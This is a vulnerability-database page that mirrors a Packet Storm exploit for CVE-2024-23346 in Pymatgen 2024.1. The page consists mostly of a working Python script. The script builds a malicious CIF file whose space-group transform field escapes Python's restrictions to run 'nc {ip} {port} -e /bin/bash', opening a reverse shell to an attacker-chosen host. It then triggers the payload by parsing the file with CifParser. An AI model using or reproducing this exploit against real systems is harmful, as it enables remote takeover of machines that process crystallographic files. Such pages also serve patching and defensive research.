Lucene search
K

📄 Pymatgen 2024.1 Remote Code Execution

🗓️ 15 Apr 2025 00:00:00Reported by Mohammed Idrees BanyamerType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 217 Views

Pymatgen 2024.1 vulnerable to remote code execution via malicious CIF file exploit.

Related
Code
# Exploit Title : Pymatgen 2024.1 - Remote Code Execution (RCE)
    # Google Dork : (not applicable)
    # Date : 2024-11-13
    # Exploit Author : Mohammed Idrees Banyamer
    # Vendor Homepage : https ://pymatgen.org
    # Software Link : https ://pypi.org /project /pymatgen/
    # Version : 2024.1
    # Tested on : Kali Linux 2024.1
    # CVE : CVE-2024-23346
    
    
    import os
    
    # Function to create the malicious CIF file
    def create_malicious_cif(ip, port):
        # Constructing the malicious CIF file with reverse shell payload
        malicious_cif = f"""
    data_5yOhtAoR
    _audit_creation_date            2024-11-13
    _audit_creation_method          "CVE-2024-23346 Pymatgen CIF Parser Reverse Shell Exploit"
    
    loop_
    _parent_propagation_vector.id
    _parent_propagation_vector.kxkykz
    k1 [0 0 0]
    
    _space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("nc {ip} {port} -e /bin/bash");0,0,0'
    
    _space_group_magn.number_BNS  62.448
    _space_group_magn.name_BNS  "P  n'  m  a'  "
        """
        
        # Save to a file
        with open("vuln.cif", "w") as file:
            file.write(malicious_cif)
        print("[*] Malicious CIF file created: vuln.cif")
    
    # Function to trigger the exploit by parsing the malicious CIF file
    def exploit():
        ip = input("Enter your IP address for the reverse shell: ")
        port = input("Enter the port for the reverse shell to listen on: ")
        
        # Create the malicious CIF file
        create_malicious_cif(ip, port)
        
        # Trigger the Pymatgen CIF parser to parse the malicious file
        from pymatgen.io.cif import CifParser
        parser = CifParser("vuln.cif")
        structure = parser.parse_structures()
    
    # Running the exploit
    if __name__ == "__main__":
        exploit()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2025 00:00Current
9.5High risk
Vulners AI Score9.5
CVSS 3.17.8 - 9.3
EPSS0.54892
SSVC
217